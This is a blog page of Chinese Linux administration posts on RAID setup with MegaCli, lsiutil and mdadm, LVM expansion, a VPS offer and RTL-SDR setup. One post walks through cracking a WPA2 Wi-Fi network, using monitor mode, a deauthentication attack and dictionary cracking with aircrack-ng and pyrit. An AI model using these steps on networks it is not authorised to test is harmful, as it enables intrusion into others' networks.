在路上 ……

Linux系统运维与架构

首先使用命令查看物理硬盘的状态信息

/opt/MegaRAID/MegaCli/MegaCli64 -PDList -aALL

记住新增加的硬盘的Enclosure Device ID和Slot Number
例如:
Enclosure Device ID: 32

Slot Number: 3

同时查看Foreign State值是否为None

如果状态为Foreign State: Foreign需要执行如下命令确认下

/opt/MegaRAID/MegaCli/MegaCli64 -CfgForeign -Scan -a0

显示:

There are 2 foreign configuration(s) on controller 0.

然后需要将Foreing状态清除掉

/opt/MegaRAID/MegaCli/MegaCli64 -CfgForeign -Clear -a0

重新运行命令查看物理硬盘状态,确认Foreign State为None

然后就可以创建RAID了,这里示例创建RAID 1

/opt/MegaRAID/MegaCli/MegaCli64 -CfgLdAdd -r1 [32:2,32:3] WB Direct -a0

创建成功会显示:

Adapter 0: Created VD 1

Adapter 0: Configured the Adapter!!

这时执行命令查看raid的信息

/opt/MegaRAID/MegaCli/MegaCli64 -LDInfo -Lall -aALL

能看到一个新的Virtual Drive信息:

Virtual Drive: 1 (Target Id: 1)
Name :Virtual Disk 1
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 931.0 GB
Sector Size : 512
Mirror Data : 931.0 GB
State : Optimal
Strip Size : 64 KB
Number Of Drives : 2
Span Depth : 1
Default Cache Policy: WriteThrough, ReadAheadNone, Direct, No Write Cache if Bad BBU
Current Cache Policy: WriteThrough, ReadAheadNone, Direct, No Write Cache if Bad BBU
Default Access Policy: Read/Write
Current Access Policy: Read/Write
Disk Cache Policy : Disk Default
Encryption Type : None
Default Power Savings Policy: Controller Defined
Current Power Savings Policy: None
Can spin up in 1 minute: Yes
LD has drives that support T10 power conditions: Yes
LDs IO profile supports MAX power savings with cached writes: No
Bad Blocks Exist: No
Is VD Cached: No

执行lsblk

能看到一块新的硬盘sdb

至此创建新RAID完成

对新增加的硬盘分区

fdisk /dev/sdb

Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 1

后面两项直接回车使用整个硬盘所有空间

然后修改分区格式为LVM分区

Command (m for help): t
Selected partition 1
Hex code (type L to list codes): 8e
Changed system type of partition 1 to 8e (Linux LVM)

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.

创建新pv :
pvcreate /dev/sdb1

Physical volume "/dev/sdb1" successfully created

查看原有虚拟卷组的信息

vgdisplay

--- Volume group ---
VG Name VolGroup00
System ID 
Format lvm2
Metadata Areas 1
Metadata Sequence No 7
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 4
Open LV 4
Max PV 0
Cur PV 1
Act PV 1
VG Size 237.86 GiB
PE Size 4.00 MiB
Total PE 60891
Alloc PE / Size 60000 / 234.38 GiB
Free PE / Size 891 / 3.48 GiB
VG UUID UDad6V-j7j9-36SR-R5jR-EhLy-ofsS-lGUZdO

可以看到原本剩余的空间已很少了

对虚拟卷组扩容

vgextend VolGroup00 /dev/sdb1

Volume group "VolGroup00" successfully extended

再次查看vgdisplay

--- Volume group ---
VG Name VolGroup00
System ID 
Format lvm2
Metadata Areas 2
Metadata Sequence No 8
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 4
Open LV 4
Max PV 0
Cur PV 2
Act PV 2
VG Size 1.14 TiB
PE Size 4.00 MiB
Total PE 299226
Alloc PE / Size 60000 / 234.38 GiB
Free PE / Size 239226 / 934.48 GiB
VG UUID UDad6V-j7j9-36SR-R5jR-EhLy-ofsS-lGUZdO

可以看到空闲的空间已经增加了

然后就可以对原本空间不足的逻辑卷扩容了

如下命令是对var分区的卷组新增加100G空间

lvextend -L +100G /dev/VolGroup00/varvol

Extending logical volume varvol to 197.66 GiB
Logical volume varvol successfully resized

然后运行 resize2fs /dev/VolGroup00/varvol 在线调整文件系统

完成后df -h 就能看到var分区新增了100G大小了

另外一种服务器上的简单raid卡创建raid方法:
这种raid卡只支持Raid0和Raid1,工具也很简单,交互式操作,直接贴一份命令行操作的过程记录,红色标记的是需要我们输入的地方--->

./lsiutil.x86_64 --->运行工具

LSI Logic MPT Configuration Utility, Version 1.62, January 14, 2009

1 MPT Port found

Port Name Chip Vendor/Type/Rev MPT Rev Firmware Rev IOC
1. /proc/mpt/ioc0 LSI Logic SAS1068E B3 105 00192f00 0

Select a device: [1-1 or 0 to quit] 1  ---> 这里列出了服务器上raid卡,只有一块,所以直接输入1

1. Identify firmware, BIOS, and/or FCode
2. Download firmware (update the FLASH)
4. Download/erase BIOS and/or FCode (update the FLASH)
8. Scan for devices
10. Change IOC settings (interrupt coalescing)
13. Change SAS IO Unit settings
16. Display attached devices
20. Diagnostics
21. RAID actions
22. Reset bus
23. Reset target
42. Display operating system names for devices
45. Concatenate SAS firmware and NVDATA files
59. Dump PCI config space
60. Show non-default settings
61. Restore default settings
66. Show SAS discovery errors
69. Show board manufacturing information
97. Reset SAS link, HARD RESET
98. Reset SAS link
99. Reset port
e Enable expert mode in menus
p Enable paged mode
w Enable logging

Main menu, select an option: [1-99 or e/p/w or 0 to quit] 8  ---> 我们先扫描一下,看看新加的硬盘是否都识别到了

SAS1068E links are 3.0 G, 3.0 G, 3.0 G, 3.0 G, off, off, off, off

B___T___L Type Vendor Product Rev SASAddress PhyNum
0 1 0 Disk Dell VIRTUAL DISK 1028 
0 2 0 Disk SEAGATE ST1000NM0023 GS10 5000c50084278645 2  ---> 两块新硬盘都列出来了
0 3 0 Disk SEAGATE ST1000NM0023 GS10 5000c50084279871 3
0 8 0 EnclServ DP BACKPLANE 1.07 5882b0b013553f00 8

Hidden RAID Devices:

B___T Device Vendor Product Rev SASAddress PhyNum
0 9 PhysDisk 0 SEAGATE ST3300657SS ES64 5000c500289afa69 1
0 0 PhysDisk 1 SEAGATE ST3300657SS ES64 5000c50028df2b41 0

Main menu, select an option: [1-99 or e/p/w or 0 to quit] 21  ---> 进入raid操作菜单

1. Show volumes
2. Show physical disks
3. Get volume state
4. Wait for volume resync to complete
23. Replace physical disk
26. Disable drive firmware update mode
27. Enable drive firmware update mode
30. Create volume
31. Delete volume
32. Change volume settings
33. Change volume name
50. Create hot spare
51. Delete hot spare
99. Reset port
e Enable expert mode in menus
p Enable paged mode
w Enable logging

RAID actions menu, select an option: [1-99 or e/p/w or 0 to quit] 30  ---> 创建新的卷

B___T___L Type Vendor Product Rev Disk Blocks Disk MB
1. 0 2 0 Disk SEAGATE ST1000NM0023 GS10 1953525168 953869
2. 0 3 0 Disk SEAGATE ST1000NM0023 GS10 1953525168 953869

To create a volume, select 2 or more of the available targets
select 3 to 10 targets for a mirrored volume
select 2 to 10 targets for a striped volume

Select a target: [1-2 or RETURN to quit] 1  ---> 因为我们要两块硬盘做raid1 ,所以这里分别输入1,2选择列出的两块新加的硬盘
Select a target: [1-2 or RETURN to quit] 2

2 physical disks were created

Select volume type: [0=Mirroring, 1=Striping, default is 0] 0  ---> 这里选择0是做镜像,也就是raid 1
Required metadata size is 512 MB, plus 2 MB
Select volume size: [1 to 953338 MB, default is 953338]   ---> 这里都默认,直接回车即可
Enable write caching: [Yes or No, default is Yes] 
Zero the first and last blocks of the volume? [Yes or No, default is No] 
Skip initial volume resync? [Yes or No, default is No]

Volume was created   ---> 到这里,新的raid1就创建完成了

RAID actions menu, select an option: [1-99 or e/p/w or 0 to quit] 1   ---> 我们再查看一下现在的raid卷

2 volumes are active, 4 physical disks are active   ---> 可以看到列出了两个卷,第二个Volume 1就是我们新加的卷

Volume 0 is Bus 0 Target 1, Type IM (Integrated Mirroring)
Volume Name: 
Volume WWID: 0c3de93603fd6e58
Volume State: optimal, enabled
Volume Settings: write caching enabled, auto configure, priority resync
Volume draws from Hot Spare Pools: 0
Volume Size 285568 MB, 2 Members
Primary is PhysDisk 1 (Bus 0 Target 0)
Secondary is PhysDisk 0 (Bus 0 Target 9)

Volume 1 is Bus 0 Target 2, Type IM (Integrated Mirroring)
Volume Name: 
Volume WWID: 06fe97cc153db8c2
Volume State: degraded, enabled, resync in progress
Volume Settings: write caching enabled, auto configure, priority resync
Volume Size 953338 MB, 2 Members
Primary is PhysDisk 2 (Bus 0 Target 10)
Secondary is PhysDisk 3 (Bus 0 Target 3)

RAID actions menu, select an option: [1-99 or e/p/w or 0 to quit] 3   ---> 再查看一下卷的状态

Volume 0 is Bus 0 Target 1, Type IM (Integrated Mirroring)
Volume 1 is Bus 0 Target 2, Type IM (Integrated Mirroring)

Volume: [0-1 or RETURN to quit] 1   ---> 选1,也就是我们刚刚创建的卷

Volume 1 State: degraded, enabled, resync in progress
Resync Progress: total blocks 1952436224, blocks remaining 1952199736, 99%   ---> 看到卷的状态是正在初始化同步,等到这个99%变成0,卷的状态变成optimal, enabled就是正常可用状态了

RAID actions menu, select an option: [1-99 or e/p/w or 0 to quit] 0   ---> 退出

Main menu, select an option: [1-99 or e/p/w or 0 to quit] 0   ---> 退出

Port Name Chip Vendor/Type/Rev MPT Rev Firmware Rev IOC
1. /proc/mpt/ioc0 LSI Logic SAS1068E B3 105 00192f00 0

Select a device: [1-1 or 0 to quit] 0   ---> 退出

待raid卷状态到正常可用状态后,再按照上面说的lvm扩容的方式操作即可


(此文摘自百度文库)

1.查看RAID的信息
mdadm –detail /dev/md0
这里包含RAID的详细信息

2.删除和恢复某个RAID磁盘(假设使用hda1)
先删除某个磁盘:
mdadm /dev/md0 -f /dev/hda1—–标记错误磁盘
mdadm /dev/md0 -r /dev/hda1—–去除错误磁盘

恢复之前删除的磁盘
mdadm /dev/md0 -a /dev/hda1

此时查看RAID信息可以看到/dev/hda1自动成为了热备盘

3.扩展已有的RAID
这里先创建要添加的RAID分区:/dev/hdd1
添加磁盘
mdadm –add /dev/md0 /dev/hdd1
此时md0中增加了一个spare磁盘,接下来就是扩展了
mdadm –grow /dev/md0 –raid-devices=4
这里在grow模式下增加了设备,也可以增加设备容量
fsck.ext3 /raid
校验文件系统,为扩展作准备
resize2fs /raid
扩展文件系统,更新系统信息

4.创建RAID控制文件
echo DEVICE /dev/hd[a-d]1 >> /etc/mdadm.conf
mdadm -Ds >> /etc/mdadm.conf
此时可以看到配置文件如下:
DEVICE /dev/hda1 /dev/hdb1 /dev/hdc1 /dev/hdd1
ARRAY /dev/md0 level=raid5 num-devices=4
UUID = 9ca85577:25660a81:67152b19:3235d3s6

5.控制RAID起停
mdadm -S /dev/md0—–停止raid
怎么启动RAID呢?
如果已经配置了RAID控制文件,则
mdadm -As /dev/md0
根据配置文件的描述,RAID自动启动
如果没有配置文件
mdadm -As /dev/md0 /dev/hd[a-d]1
此时给出RAID的构成盘,RAID启动成功

linux做实验时创建了软raid. 后来重新创建raid时 提示如下
[root@client ~]# mdadm -C /dev/md0 -l 1 -n 2 /dev/sdb5 /dev/sdb6
mdadm: another array by this name is already running.

[root@client ~]# mdadm -S /dev/md0
mdadm: stopped /dev/md0
[root@client ~]# mdadm -D /dev/md0
mdadm: md device /dev/md0 does not appear to be active.

然后就可以创建raid了.

mdadm -S, –stop
deactivate array, releasing all resources.

有些情况还是不行
mdadm -S /dev/md0
mdadm -D /dev/md0
需要重启后生效.


以前用的host大法总是不太稳定,也担心被各种黑。正好看到bwg有个9.9刀一年的vps,用来做个ss是最合适不过了。
废话不多说直接下单,洛杉矶机房的网络还是很不错的,从我家电信网络ping过去基本保持在180ms左右

PING 104.194.78.170 (104.194.78.170): 56 data bytes
64 bytes from 104.194.78.170: icmp_seq=0 ttl=52 time=185.181 ms
64 bytes from 104.194.78.170: icmp_seq=1 ttl=52 time=185.103 ms
64 bytes from 104.194.78.170: icmp_seq=2 ttl=52 time=187.705 ms
64 bytes from 104.194.78.170: icmp_seq=3 ttl=52 time=184.651 ms
64 bytes from 104.194.78.170: icmp_seq=4 ttl=52 time=184.948 ms
64 bytes from 104.194.78.170: icmp_seq=5 ttl=52 time=185.131 ms
^C
--- 104.194.78.170 ping statistics ---
6 packets transmitted, 6 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 184.651/185.453/187.705/1.022 ms

vps的配置只能说足够,基本配置如下:

  • 硬盘:5G SSD;
  • 内存:512M;
  • CPU:1x Intel Xeon;
  • 流量:每月 500G;
  • 带宽:1G;

搬瓦工支持 PayPal 付款,支持月付,但年付显然更优惠。好东西不敢独享,赶快去抢个吧,据说很快就会被抢光了,购买连接:Bandwagon


首先需要有一台运行kali linux的机器,无论是虚拟机或物理机,一块支持监听模式的无线网卡

root@kali:~# iwconfig 
wlan1     IEEE 802.11bg  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
eth0      no wireless extensions.

lo        no wireless extensions.

查看无线网卡设备名

root@kali:~# airmon-ng start wlan1


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID     Name
2772    dhclient
4415    wpa_supplicant


Interface       Chipset         Driver

wlan1           Realtek RTL8187L        rtl8187 - [phy0]
                                (monitor mode enabled on mon0)

进入监听模式

airodump-ng mon0 会列出搜索到的所有无线网络
从中找到你要测试破解的,copy下来BSSID

root@kali:~/test# airodump-ng -w nenew  -c 11 --bssid E4:D3:32:41:56:12   mon0

 CH 11 ][ Elapsed: 1 min ][ 2014-09-12 23:31 ][ WPA handshake: E4:D3:32:41:56:12                                         
                                                                                                                                                                                                   
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                                                                   
 E4:D3:32:41:56:12  -44  53      171        7    0  11  54e. WPA2 CCMP   PSK  TP-LINK_5612                                                                                                         
                                                                                                                                                                                                   
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                         
                                                                                                                                                                                                   
 E4:D3:32:41:56:12  00:00:00:00:00:00    0    0 - 1      0    18135                                                                                                                                 
 E4:D3:32:41:56:12  64:B4:73:40:60:5C  -21    1e- 6e     0        7

当看到WPA handshake:说明抓到了握手包,就可以来破解了

如果一直抓不到,可以用如下命令来攻击,强迫重新握手

aireplay-ng -0 10 -a E4:D3:32:41:56:12  -c 64:B4:73:40:60:5C  mon0  --ignore-negative-one

抓到握手包后,就可以用字典来跑密码了。

root@kali:~/test# aircrack-ng -w ./password.txt  nenew-21.cap 
Opening nenew-21.cap
Read 18654 packets.

   #  BSSID              ESSID                     Encryption

   1  D0:C7:C0:6E:53:53  TP-LINK_5353              WPA (1 handshake)

Choosing first network as target.

Opening nenew-21.cap
Reading packets, please wait...

跑的速度如何取决于你机器的性能,更取决于你的字典
如果用物理机,有比较好的显卡,还可以用显卡来加速破解,效率比cpu高的多

kali linux下装显卡驱动,sdk等,参考如下链接
http://xiao106347.blog.163.com/blog/static/2159920782013113013549364
http://vistb.net/2011/08/how-to-crack-wifi-part-four/
http://blog.sina.com.cn/s/blog_56a70c040101exje.html

我这里用显卡,很快就跑出了密码

root@kali:~# pyrit -r nenew-21.cap  -i password.txt -b D0:C7:C0:6E:53:53 attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'nenew-21.cap' (1/1)...
Parsed 14 packets (14 802.11-packets), got 1 AP(s)

Tried 4420221 PMKs so far; 86496 PMKs per second.

The password is 'qq123789'.

参考链接:http://lewiscomputerhowto.blogspot.com/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html


Software configeration

First update you Raspberry Pi wheezy Linux to the latest version.

sudo apt-get update
sudo apt-get install git 
sudo apt-get install cmake
sudo apt-get install libusb-1.0-0.dev
sudo apt-get install build-essential

Now install the RTL-2832U USB dongle driver src and compile

git clone git://git.osmocom.org/rtl-sdr.git
cd rtl-sdr/
mkdir build
cd build
cmake ../ -DINSTALL_UDEV_RULES=ON
make
sudo make install
sudo ldconfig

Edit the following file /etc/modprobe.d/raspi-blacklist.conf

use your favourite editor like nano or vi

sudo vi /etc/modprobe.d/raspi-blacklist.conf

add the following lines in the file.
blacklist dvb_usb_rtl28xxu
blacklist rtl2832
blacklist rtl2830

Save and exist

You need to reboot. so just run sudo shutdown -r 0

Run this command sudo rtl_test -t to test the compiled driver
Now you maybe see a error like this:

pi@raspberrypi ~/rtl-sdr/build $ rtl_test -t
Found 1 device(s):
  0:  Generic, RTL2832U, SN: =

Using device 0: Generic RTL2832U
usb_open error -3
Please fix the device permissions, e.g. by installing the udev rules file rtl-sdr.rules
Failed to open rtlsdr device #0.

Need edit rtl-sdr.rules file

sudo vi /etc/udev/rules.d/rtl-sdr.rules

find the line and change it like this

SUBSYSTEMS=="usb", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="2832", MODE:="0666", GROUP="adm", SYMLINK+="rtl_sdr"

now you re-run this command sudo rtl_test -t to test. In my case the output look like this:

pi@raspberrypi ~ $ rtl_test -t
Found 1 device(s):
  0:  Generic, RTL2832U, SN: 77771111153705700

Using device 0: Generic RTL2832U
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6 
Sampling at 2048000 S/s.
No E4000 tuner found, aborting.

To run the rtl server type rtl_tcp -a X.X.X.X , use you ip address of your Pi replace x.x.x.x.

Have Fun.


Typecho 强力驱动